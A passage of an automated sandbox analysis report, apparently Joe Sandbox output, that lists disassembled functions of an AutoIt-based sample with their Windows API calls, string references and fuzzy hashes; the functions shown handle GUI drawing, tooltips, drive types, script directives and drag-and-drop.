Instruction Fuzzy Hash: 5AA164B1A40615FFEB14DB68DC4AFAE77BAEB44710F048119FA15A72E0C774AD00CB64

Function 006DA8CA Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 006DA903
SetTextColor.GDI32(?,?), ref: 006DA907
GetSysColorBrush.USER32(0000000F), ref: 006DA91D
GetSysColor.USER32(0000000F), ref: 006DA928
CreateSolidBrush.GDI32(?), ref: 006DA92D
GetSysColor.USER32(00000011), ref: 006DA945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 006DA953
SelectObject.GDI32(?,00000000), ref: 006DA964
SetBkColor.GDI32(?,00000000), ref: 006DA96D
SelectObject.GDI32(?,?), ref: 006DA97A
InflateRect.USER32(?,000000FF,000000FF), ref: 006DA999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 006DA9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 006DA9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 006DA9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 006DAA14
InflateRect.USER32(?,000000FD,000000FD), ref: 006DAA32
DrawFocusRect.USER32(?,?), ref: 006DAA3D
GetSysColor.USER32(00000011), ref: 006DAA4B
SetTextColor.GDI32(?,00000000), ref: 006DAA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 006DAA67
SelectObject.GDI32(?,006DA5FA), ref: 006DAA7E
DeleteObject.GDI32(?), ref: 006DAA89
SelectObject.GDI32(?,?), ref: 006DAA8F
DeleteObject.GDI32(?), ref: 006DAA94
SetTextColor.GDI32(?,?), ref: 006DAA9A
SetBkColor.GDI32(?,?), ref: 006DAAA4

Strings

@U=u, xrefs: 006DA9ED

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID: @U=u
API String ID: 1996641542-2594219639
Opcode ID: 0172b88d312611cecd6cbb02f6b8e43515310b99f5d4e1554fd96b1368567fdf
Instruction ID: 1e151939c9e66781f6bae3d74f3f9762f0f1b34e5e5e034dca911cc0dfdc87c1
Opcode Fuzzy Hash: 0172b88d312611cecd6cbb02f6b8e43515310b99f5d4e1554fd96b1368567fdf
Instruction Fuzzy Hash: 6E513E71D01208EFDB109FA4DC48EAE7BBAEF08320F155226F916AB2A1D7759940DB50

Function 006D9A1C Relevance: 46.0, APIs: 23, Strings: 3, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 006D9AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 006D9B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 006D9BA7

Strings

@U=u, xrefs: 006D9B8B, 006D9BA7, 006D9D23, 006D9D56, 006D9DB6, 006D9E00, 006D9E60, 006D9E84, 006D9F40
0, xrefs: 006D9BE4
hW, xrefs: 006D9A6B, 006D9EB2, 006D9F00

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0$@U=u$hW
API String ID: 2326795674-1221071083
Opcode ID: d6e6ed1af5f6baac44f2db34c934877b38fdaf8a1b91608758c5ccce29e96e65
Instruction ID: f26564183c3ff39b5ba50348c961d124cc45a4ecc0069be09ddb4844f10be0b4
Opcode Fuzzy Hash: d6e6ed1af5f6baac44f2db34c934877b38fdaf8a1b91608758c5ccce29e96e65
Instruction Fuzzy Hash: D202CD30909241AFD725CF24C849BEABBE6FF89314F04852EF999D63A1C774D944CB62

Function 006BAD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 006BAD1E
GetDriveTypeW.KERNEL32(?,006DFAC0,?,\\.\,006DF910), ref: 006BADFB
SetErrorMode.KERNEL32(00000000,006DFAC0,?,\\.\,006DF910), ref: 006BAF59

Strings

FileBackedVirtual, xrefs: 006BAF28
Unknown, xrefs: 006BAE1B, 006BAEBF
iSCSI, xrefs: 006BAEFE
Virtual, xrefs: 006BAF21
ATA, xrefs: 006BAED4
Removable, xrefs: 006BAE4D
1394, xrefs: 006BAEDB
Fibre, xrefs: 006BAEE9
PhysicalDrive, xrefs: 006BADA7
MMC, xrefs: 006BAF1A
\\.\, xrefs: 006BAD70
SSD, xrefs: 006BAE86
SAS, xrefs: 006BAF05
SCSI, xrefs: 006BAEC6
ATAPI, xrefs: 006BAECD
RAID, xrefs: 006BAEF7
SSA, xrefs: 006BAEE2
CDROM, xrefs: 006BAE2F
RAMDisk, xrefs: 006BAE25
SATA, xrefs: 006BAF0C
Fixed, xrefs: 006BAE43
USB, xrefs: 006BAEF0
Network, xrefs: 006BAE39

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: d8fb6a02feea4a85c71679075e2bf536d6e34f6f9ff97c51318240628f6fe77b
Instruction ID: bea6755d8b281624538801fb142243651449cd17c06d93c9482cb496c0b8d395
Opcode Fuzzy Hash: d8fb6a02feea4a85c71679075e2bf536d6e34f6f9ff97c51318240628f6fe77b
Instruction Fuzzy Hash: 3B5191F0644205EACB90EF90C942CFD73A7EB08701B24815AF847A72D1DA759D8AEB57

Function 006568DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00656931
__wcsnicmp.LIBCMT ref: 00656949
__wcsnicmp.LIBCMT ref: 00656961
__wcsnicmp.LIBCMT ref: 00656979
__wcsnicmp.LIBCMT ref: 00656991
__wcsnicmp.LIBCMT ref: 006569A9
__wcsnicmp.LIBCMT ref: 006569C1
__wcsnicmp.LIBCMT ref: 006569D5
__wcsnicmp.LIBCMT ref: 00656A16
__wcsnicmp.LIBCMT ref: 00656A2A
__wcsnicmp.LIBCMT ref: 00656A3E
__wcsnicmp.LIBCMT ref: 00656A52

Strings

#comments-end, xrefs: 00656A38
Cannot parse #include, xrefs: 0068E3F0
#pragma compile, xrefs: 0065692B
Unterminated group of comments, xrefs: 0068E403
#ce, xrefs: 00656A4C
#OnAutoItStartRegister, xrefs: 00656973
#cs, xrefs: 006569CF, 00656A24
#notrayicon, xrefs: 00656943
#comments-start, xrefs: 006569BB, 00656A10
#requireadmin, xrefs: 0065695B
Bad directive syntax error, xrefs: 0068E31A
#include, xrefs: 006569A3
#include-once, xrefs: 0065698B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 586137384ce90955e49d7fa855c51334b1b1521af4b70ffb5f27a10cd8af0b85
Instruction ID: e5372e17adc8870cd1851bea6db075fa58eaa433d2ff8948d31651a6e2481dc6
Opcode Fuzzy Hash: 586137384ce90955e49d7fa855c51334b1b1521af4b70ffb5f27a10cd8af0b85
Instruction Fuzzy Hash: 358128B0600216ABCB60BB60DC52FEB37ABAF15701F444129FC056B296EB61DE49D369

Function 006D89D5 Relevance: 42.4, APIs: 21, Strings: 3, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 006D8AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 006D8AD2
CharNextW.USER32(0000014E), ref: 006D8B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 006D8B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 006D8B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 006D8B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 006D8B86
SetWindowTextW.USER32(?,0000014E), ref: 006D8BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 006D8BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 006D8C1F
_memset.LIBCMT ref: 006D8C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 006D8C8D
_memset.LIBCMT ref: 006D8CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 006D8D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 006D8D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 006D8E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 006D8E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 006D8E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 006D8EB4
DrawMenuBar.USER32(?), ref: 006D8EC3
SetWindowTextW.USER32(?,0000014E), ref: 006D8EEB

Strings

@U=u, xrefs: 006D8AC1, 006D8AD2, 006D8B07, 006D8B86, 006D8BEE, 006D8C1F, 006D8C8D, 006D8D16, 006D8D6E, 006D8E1B
0, xrefs: 006D8E55
hW, xrefs: 006D8A23

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0$@U=u$hW
API String ID: 1073566785-1221071083
Opcode ID: aab5258733d077748abbaf4447c84554ed1fae5b3a0a252a85e231178edc69fb
Instruction ID: 93d0f9ca51d1ef1288d59e0598bb45df2be8e81e0e03fb465b9c9e3e3c73b1c5
Opcode Fuzzy Hash: aab5258733d077748abbaf4447c84554ed1fae5b3a0a252a85e231178edc69fb
Instruction Fuzzy Hash: 70E15C70D01209AEDB209F55CC88AEE7BBAEF09750F14815BF915AB390DB709A81DF60

Function 006D488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 006D49CA
GetDesktopWindow.USER32 ref: 006D49DF
GetWindowRect.USER32(00000000), ref: 006D49E6
GetWindowLongW.USER32(?,000000F0), ref: 006D4A48
DestroyWindow.USER32(?), ref: 006D4A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 006D4A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 006D4ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 006D4AE1
SendMessageW.USER32(?,00000421,?,?), ref: 006D4AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 006D4B09
IsWindowVisible.USER32(?), ref: 006D4B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 006D4B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 006D4B58
GetWindowRect.USER32(?,?), ref: 006D4B70
MonitorFromPoint.USER32(?,?,00000002), ref: 006D4B96
GetMonitorInfoW.USER32(00000000,?), ref: 006D4BB0
CopyRect.USER32(?,?), ref: 006D4BC7
SendMessageW.USER32(?,00000412,00000000), ref: 006D4C32

Strings

tooltips_class32, xrefs: 006D4A96
(, xrefs: 006D4BA3
0, xrefs: 006D4975

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 47fa11f4f23eb112144fff3fcf4a95182ccafdfd2fdeaad116583653c8160d9e
Instruction ID: 5b9dd665c12c0b3be2ea177658d26ec631af6e8296487385318e61beec8c1e51
Opcode Fuzzy Hash: 47fa11f4f23eb112144fff3fcf4a95182ccafdfd2fdeaad116583653c8160d9e
Instruction Fuzzy Hash: 00B17B71A04340AFDB44DF65C844B6ABBE6BF88310F04891EF99A9B3A1DB71EC05CB55

Function 006B449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 006B44AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 006B44D2
_wcscpy.LIBCMT ref: 006B4500
_wcscmp.LIBCMT ref: 006B450B
_wcscat.LIBCMT ref: 006B4521
_wcsstr.LIBCMT ref: 006B452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 006B4548
_wcscat.LIBCMT ref: 006B4591
_wcscat.LIBCMT ref: 006B4598
_wcsncpy.LIBCMT ref: 006B45C3

Strings

StringFileInfo\, xrefs: 006B451B
\VarFileInfo\Translation, xrefs: 006B4540
%u.%u.%u.%u, xrefs: 006B4626
04090000, xrefs: 006B457E
DefaultLangCodepage, xrefs: 006B45AB

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 041965f7b4e49d8402d1a723ba81ccafb5f0cce1b8e205d1fb1ceb9ae6e3cbdc
Instruction ID: 32ba3776dddfb3dd76b69705817208b9736cfab5095151409450f5b0e92a03fe
Opcode Fuzzy Hash: 041965f7b4e49d8402d1a723ba81ccafb5f0cce1b8e205d1fb1ceb9ae6e3cbdc
Instruction Fuzzy Hash: AE41F772900211BBEB50AB749C07EFF77AEDF41710F04406EF909A6283EE359A4197A9

Function 006527D9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 006528BC
GetSystemMetrics.USER32(00000007), ref: 006528C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 006528EF
GetSystemMetrics.USER32(00000008), ref: 006528F7
GetSystemMetrics.USER32(00000004), ref: 0065291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00652939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00652949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0065297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00652990
GetClientRect.USER32(00000000,000000FF), ref: 006529AE
GetStockObject.GDI32(00000011), ref: 006529CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 006529D5

Part of subcall function 00652344: GetCursorPos.USER32(?), ref: 00652357
Part of subcall function 00652344: ScreenToClient.USER32(007157B0,?), ref: 00652374
Part of subcall function 00652344: GetAsyncKeyState.USER32(00000001), ref: 00652399
Part of subcall function 00652344: GetAsyncKeyState.USER32(00000002), ref: 006523A7

SetTimer.USER32(00000000,00000000,00000028,00651256), ref: 006529FC

Strings

@U=u, xrefs: 006529D5
AutoIt v3 GUI, xrefs: 00652974

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: @U=u$AutoIt v3 GUI
API String ID: 1458621304-2077007950
Opcode ID: 0bbcbd1c7e6530c4caf2b51814710a5a2f7c74a2ad76466ac6dd5c3ff7b3d9af
Instruction ID: 748a17b70acfef09442781a37ce579a7ef60d90afef93e5502be19273eb21856
Opcode Fuzzy Hash: 0bbcbd1c7e6530c4caf2b51814710a5a2f7c74a2ad76466ac6dd5c3ff7b3d9af
Instruction Fuzzy Hash: 8EB16D71A0020ADFDB14DFA8DC95BED7BA6FB48311F108229FA16A62D0DB749845CB54

Function 006DC5FE Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

DragQueryPoint.SHELL32(?,?), ref: 006DC627

Part of subcall function 006DAB37: ClientToScreen.USER32(?,?), ref: 006DAB60
Part of subcall function 006DAB37: GetWindowRect.USER32(?,?), ref: 006DABD6
Part of subcall function 006DAB37: PtInRect.USER32(?,?,006DC014), ref: 006DABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 006DC690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 006DC69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 006DC6BE
_wcscat.LIBCMT ref: 006DC6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 006DC705
SendMessageW.USER32(?,000000B0,?,?), ref: 006DC71E
SendMessageW.USER32(?,000000B1,?,?), ref: 006DC735
SendMessageW.USER32(?,000000B1,?,?), ref: 006DC757
DragFinish.SHELL32(?), ref: 006DC75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 006DC851

Strings

@U=u, xrefs: 006DC690, 006DC705, 006DC71E, 006DC735, 006DC757
@GUI_DROPID, xrefs: 006DC77E
pbq, xrefs: 006DC79B
@GUI_DRAGID, xrefs: 006DC7C9
hW, xrefs: 006DC65D, 006DC6CA
@GUI_DRAGFILE, xrefs: 006DC800

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$@U=u$hW$pbq
API String ID: 169749273-3829141871
Opcode ID: 6c4dc77ed51f08b76ebc5e33b376a65e790493341c894562ed99ab2e1133901d
Instruction ID: e52b54a388dba7f45684003594c044b2a38f0d60f6604614134a32c4b03fe9e7
Opcode Fuzzy Hash: 6c4dc77ed51f08b76ebc5e33b376a65e790493341c894562ed99ab2e1133901d
Instruction Fuzzy Hash: B1619F71508345AFC701DF64CC85D9FBBFAEF89310F004A2EF592962A1DB309A49CB56

Function 006DA1B9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006DA259
DestroyWindow.USER32(?,?), ref: 006DA2D3

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 006DA34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 006DA36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 006DA382
DestroyWindow.USER32(00000000), ref: 006DA3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00650000,00000000), ref: 006DA3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 006DA3F4
GetDesktopWindow.USER32 ref: 006DA40D
GetWindowRect.USER32(00000000), ref: 006DA414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 006DA42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 006DA444

Part of subcall function 006525DB: GetWindowLongW.USER32(?,000000EB), ref: 006525EC

Strings

@U=u, xrefs: 006DA36F, 006DA382, 006DA3F4, 006DA41E
tooltips_class32, xrefs: 006DA346, 006DA3D4
0, xrefs: 006DA26F
hW, xrefs: 006DA1F4, 006DA2B7, 006DA2D9, 006DA2EC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$@U=u$hW$tooltips_class32
API String ID: 1297703922-2843442765
Opcode ID: c72d1693cb9475a25c619468c42064dfe85ced7554b951154d388e78b3a0affd
Instruction ID: 9bee4221da651b106561a5d43a1a0afaaea351f5769ca9406fc8c298d70e6c0c
Opcode Fuzzy Hash: c72d1693cb9475a25c619468c42064dfe85ced7554b951154d388e78b3a0affd
Instruction Fuzzy Hash: FA71BE70944245AFD725CF68CC49FA677E6FB89300F04852EF985873A0CBB4E906CB56

Function 006DBA33 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 006DBA56
GetFileSize.KERNEL32(00000000,00000000), ref: 006DBA6D
GlobalAlloc.KERNEL32(00000002,00000000), ref: 006DBA78
CloseHandle.KERNEL32(00000000), ref: 006DBA85
GlobalLock.KERNEL32(00000000), ref: 006DBA8E
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 006DBA9D
GlobalUnlock.KERNEL32(00000000), ref: 006DBAA6
CloseHandle.KERNEL32(00000000), ref: 006DBAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 006DBABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,006E2CAC,?), ref: 006DBAD7
GlobalFree.KERNEL32(00000000), ref: 006DBAE7
GetObjectW.GDI32(?,00000018,000000FF), ref: 006DBB0B
CopyImage.USER32(?,00000000,?,?,00002000), ref: 006DBB36
DeleteObject.GDI32(00000000), ref: 006DBB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 006DBB74

Strings

@U=u, xrefs: 006DBB74

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID: @U=u
API String ID: 3840717409-2594219639
Opcode ID: 0e05b78af06530649f2505e644bd03cf88dcfdf6225ba0b332a8c59dfb8fd447
Instruction ID: 9b434e0fdbda5b683fdcca5f6b952fd994b21bd19a52574bce475e9505d6ba64
Opcode Fuzzy Hash: 0e05b78af06530649f2505e644bd03cf88dcfdf6225ba0b332a8c59dfb8fd447
Instruction Fuzzy Hash: 88413C75901204EFDB119FA5DC48EAA7BBAFF89711F15506AF906D7360DB309E01CB60

Function 006AA439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 006AA47A
__swprintf.LIBCMT ref: 006AA51B
_wcscmp.LIBCMT ref: 006AA52E
